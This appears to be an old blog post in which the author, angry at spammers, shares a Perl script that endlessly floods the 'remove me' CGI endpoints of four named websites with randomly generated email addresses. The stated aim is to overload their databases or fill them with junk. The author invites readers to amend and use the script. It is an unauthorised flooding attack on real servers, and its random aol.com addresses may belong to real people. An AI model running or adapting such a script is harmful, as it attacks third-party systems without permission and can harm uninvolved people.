Sick of Spam

I am SOOOOOO sick of spammers, I decided to hit back.
Most of these mails are just a means of forcing you to try and "remove" yourself, and the removal is fake, instead adding your valid email address to their list of valid emails addresses.

To this end, I decided to fight back. I would "prime" these collection scripts, sending thousands of random email addresses into the DB.
Either their DB becomes overloaded , or at the least, it's full of rubbish.

Please feel free to amend the script below, so that those who have spammed you are likewise cascaded with random addresses.

-----------------------------------

#!/usr/bin/perl
use LWP::UserAgent;
use HTTP::Request;
$a="qwertyuiopasdfghjklzxcvbnm";
@b=split(//,$a);
$ua = new LWP::UserAgent;
$ua->agent("Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)");
while(true){ $c=$d=$e=""; for $i (1 .. 8){ $c.=$b[int rand($#b + 4)];
$d.=$b[int rand($#b + 4)]; $e.=$b[int rand($#b + 4)]; }
$url1="http://www.macresofit.com/homepage/cgi-bin/removeme.cgi?submit=Submit&email=$d\@$e.com\n";
$req1 = HTTP::Request->new("GET","$url1");
$a1=$ua->simple_request($req1);
$url2="http://www.macresofit.com/homepage/cgi-bin/removeme.cgi?submit=Submit&email=$c\@aol.com\n";
$req2 = HTTP::Request->new("GET","$url2");
$a2=$ua->simple_request($req2);
$count++;
print "$url1\n$url2\n$count\n";
$url1="http://www.superwondersrin.com/homepage/cgi-bin/removeme.cgi?submit=Submit&email=$d\@$e.com\n";
$req1 = HTTP::Request->new("GET","$url1");
$a1=$ua->simple_request($req1);
$url2="http://www.superwondersrin.com/homepage/cgi-bin/removeme.cgi?submit=Submit&email=$c\@aol.com\n";
$req2 = HTTP::Request->new("GET","$url2");
$a2=$ua->simple_request($req2);
$count++;
print "$url1\n$url2\n$count\n";
$url1="http://plusherbal.biz/cgi-bin/out.cgi?addr=$d\@$e.com\n";
$req1 = HTTP::Request->new("GET","$url1");
$a1=$ua->simple_request($req1);
$url2="http://plusherbal.biz/cgi-bin/out.cgi?addr=$c\@aol.com\n";
$req2 = HTTP::Request->new("GET","$url2");
$a2=$ua->simple_request($req2);
$count++;
print "$url1\n$url2\n$count\n";
$url1="http://www.bystronah.biz/out.php?email=$d\@$e.com\n";
$req1 = HTTP::Request->new("GET","$url1");
$a1=$ua->simple_request($req1);
$url2="http://www.bystronah.biz/out.php?email=$c\@aol.com\n";
$req2 = HTTP::Request->new("GET","$url2");
$a2=$ua->simple_request($req2);
$count++;
print "$url1\n$url2\n$count\n";
}